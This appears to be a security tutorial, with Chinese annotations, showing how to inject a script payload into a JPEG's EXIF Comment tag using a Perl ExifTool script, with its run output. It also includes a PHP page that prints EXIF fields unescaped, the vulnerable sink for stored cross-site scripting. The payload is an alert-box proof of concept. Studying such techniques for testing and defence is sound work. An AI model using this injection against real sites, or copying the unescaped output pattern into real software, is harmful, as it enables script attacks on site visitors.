wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-9.46.tar.gz
tar zxvf Image-ExifTool-9.46.tar.gzcd Image-ExifTool-9.46perl Makefile.PLmake testsudo make install
perldoc Image::ExifTool
vim modifyIMG.pl
#!/usr/bin/perl -w
use Image::ExifTool qw(:Public);
die "need the filename and the payload (e.g $0 a.jpg \'<script>alert(\"xss\")</script>\') \n" if $#ARGV != 1 ;
my $file = shift;
my $exifTool = new Image::ExifTool;
my $info = $exifTool->ImageInfo($file);
print "Get tags***********************************************************************\n";
my @tags = $exifTool->GetTagList($info);
foreach(@tags){
my $value = $exifTool->GetValue($_);
print $_," : ",$value,"\n";
}
print "Add Comment Tag******************************************************************\n";
$payload = shift;
$exifTool->SetNewValue('Comment',$payload);
$exifTool->WriteInfo($file);
print "After Modify**********************************************************************\n";
my $newVal = $exifTool->GetNewValues('Comment');
print "Comment : ",$newVal,"\n";
本例在图片注释标签中Comment注入代码-bash-4.2# ./modifyIMG.pl image/orig.img '<script>alert("tanjiti")</script>'
Get tags***********************************************************************
YCbCrSubSampling : YCbCr4:2:0 (2 2)
FileAccessDate : 2014:01:13 06:01:29-08:00
FileModifyDate : 2014:01:13 06:01:29-08:00
ImageWidth : 455
EncodingProcess : Baseline DCT, Huffman coding
ResolutionUnit : inches
ColorComponents : 3
FileSize : 53 kB
BitsPerSample : 8
YResolution : 96
MIMEType : image/jpeg
FileType : JPEG
FileInodeChangeDate : 2014:01:13 06:01:29-08:00
Comment : tanjiti
JFIFVersion : 1.01
ExifToolVersion : 9.46
FilePermissions : rw-r--r--
Directory : image
FileName : orig.img
ImageHeight : 720
XResolution : 96
ImageSize : 455x720
Add Comment Tag******************************************************************
After Modify**********************************************************************
Comment : <script>alert("tanjiti")</script>
vim /var/www/tanjiticom/readIMG.php
<?php
$image = "orig.img";
$exif = exif_read_data($image,0,true);
foreach ($exif as $key => $section){
foreach ($section as $name => $val){
echo "$key.$name: $val <br/>";
}
}
?>
